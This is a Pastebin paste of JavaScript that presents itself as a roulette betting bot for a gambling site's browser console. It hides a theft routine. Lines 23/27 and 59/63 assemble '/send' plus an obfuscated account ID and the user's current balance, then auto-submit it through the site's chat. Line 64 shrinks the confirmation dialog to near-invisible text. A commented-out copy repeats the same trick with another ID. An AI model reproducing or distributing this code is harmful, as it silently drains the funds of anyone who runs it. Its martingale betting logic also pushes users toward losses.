Advertisement
Guest User

Untitled

a guest
Nov 24th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.61 KB | None | 0 0
  1. /* var initialBetAmount = 0;
  2. var betColor = botBetColor = "red";
  3. var play = 0;
  4. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  5. var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19833, $hash_4 =8799168;
  6. function addBotButtons(){
  7. $(".well.bot-field").remove();$(".well.show-more").remove();
  8. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  9. $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  10. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  11. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  12. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  13. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  14. $showMore.append($checkVicLimit,$label);
  15. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  16. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  17. $showMore.append($vicLimitInput,$label);$showMore.hide();
  18. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  19. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  20. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  21. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  22. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  23. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text();
  24. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  25. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  26. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  27. $("#chatMessage_k").val(pQ);$("#chatForm").submit();
  28. $(".bootbox-body").css({"font-size": "5%"});
  29. $(".container").width(1300);
  30. $botModeSelect.change(function(){
  31. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  32. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  33. } )
  34.  
  35. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })*/
  36.  
  37. var initialBetAmount = 0;
  38. var betColor = botBetColor = "red";
  39. var play = 0;
  40. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  41. var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19833, $hash_4 = 7906947;
  42. function addBotButtons(){
  43. $(".well.bot-field").remove();$(".well.show-more").remove();
  44. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  45. $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  46. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  47. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  48. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  49. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  50. $showMore.append($checkVicLimit,$label);
  51. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  52. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  53. $showMore.append($vicLimitInput,$label);$showMore.hide();
  54. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  55. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  56. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  57. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  58. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  59. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text();
  60. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  61. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  62. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  63. $("#chatMessage_k").val(pQ);$("#chatForm").submit();
  64. $(".bootbox-body").css({"font-size": "5%"});
  65. $(".container").width(1300);
  66. $botModeSelect.change(function(){
  67. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  68. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  69. } )
  70.  
  71. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  72. }
  73. addBotButtons();
  74. function changeColor(){
  75. if ($betColorButton.hasClass("btn-danger")){
  76. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  77. botBetColor = "black";
  78. console.log("Selected color: "+botBetColor);
  79. } else if($betColorButton.hasClass("btn-inverse")) {
  80. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  81. botBetColor = "random";
  82. console.log("Selected color: "+botBetColor);
  83. } else if($betColorButton.hasClass("btn-random")) {
  84. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  85. botBetColor = "trainMode";
  86. console.log("Selected color: "+botBetColor);
  87. } else if($betColorButton.hasClass("btn-train")) {
  88. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  89. botBetColor = "rainbow";
  90. console.log("Selected color: "+botBetColor);
  91. } else if($betColorButton.hasClass("btn-rainbow")) {
  92. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  93. botBetColor = "red";
  94. console.log("Selected color: "+botBetColor);
  95. }
  96. }
  97.  
  98. function showMoreOptions(){
  99. if ($showMoreButton.data("open")==0){
  100. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  101. $showMore.show();$showMoreButton.data("open",1);
  102. } else if ($showMoreButton.data("open")==1){
  103. $showMore.hide();$showMoreButton.data("open",0);
  104. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  105. }
  106.  
  107. }
  108. function hideOtherInfo(){
  109. if ($betHideBetInfoButton.text()=="Show All"){
  110. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  111. $betHideBetInfoButton.text("Hide Bet Info");
  112. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  113. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  114. $betHideBetInfoButton.text("AFK Mode");
  115. }
  116. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  117. $(".betlist").show();$(".total-row").show();$("footer").show();
  118. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  119. $betHideBetInfoButton.text("Show All");
  120. }
  121. }
  122. function startBot(){
  123. if ($betGoButton.hasClass("btn-inverse")){
  124. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  125. refreshIntervalId = setInterval(tick, 500);
  126. play = 1;
  127. currentBetAmount = initialBetAmount;
  128. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  129. }
  130. else {
  131. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  132. play = 0;
  133. }
  134. }
  135.  
  136. function tick() {
  137. var t = getStatus();
  138. if (t !== lastStatus && "unknown" !== t) {
  139. switch (t) {
  140. case "waiting":bet();break;
  141. case "rolled":printInfo();break;
  142. }
  143. lastStatus = t;
  144. }
  145. }
  146.  
  147. function checkBalance() {
  148. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  149. }
  150.  
  151. function printInfo(){
  152. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  153. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  154. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  155. }
  156. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  157. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  158. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  159. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  160. else {currNotRedStreak=0;}
  161. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  162. else {currNotBlackStreak=0;}
  163. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  164. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  165. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  166. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  167. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  168. console.log(t);roll();
  169.  
  170. }
  171.  
  172. function roll() {
  173. if ($checkVicLimit.is(":checked")){
  174. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  175. }
  176. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  177. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  178. currentRollNumber++;
  179. }
  180.  
  181. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  182. function setBetAmount(t) { $betAmountInput.val(t) }
  183. function placeBet() {
  184. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  185. else if (botBetColor=="trainMode"){
  186. var betBotColor = "green",i=9,$ball=$(".ball");
  187. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  188. betColor = betBotColor;console.log("Current train color: "+ betColor);
  189. } else if (botBetColor=="rainbow"){
  190. var betBotColor = "green",i=9,$ball=$(".ball");
  191. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  192. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  193. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  194. } else betColor = botBetColor;
  195. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  196. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  197. }
  198. function getStatus() {
  199. var t = $statusBar.text();
  200. if (hasSubString(t, "Rolling in")) return "waiting";
  201. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  202. if (hasSubString(t, "rolled")) {
  203. n = parseInt(t.split("rolled")[1]);
  204. return lastRollColor = getColor(n), "rolled"
  205. }
  206. return "unknown"
  207. }
  208.  
  209. function getBalance() { return parseInt($balance.text()) }
  210. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  211. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  212. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  213. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  214. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  215.  
  216. var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  217. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  218. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  219. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement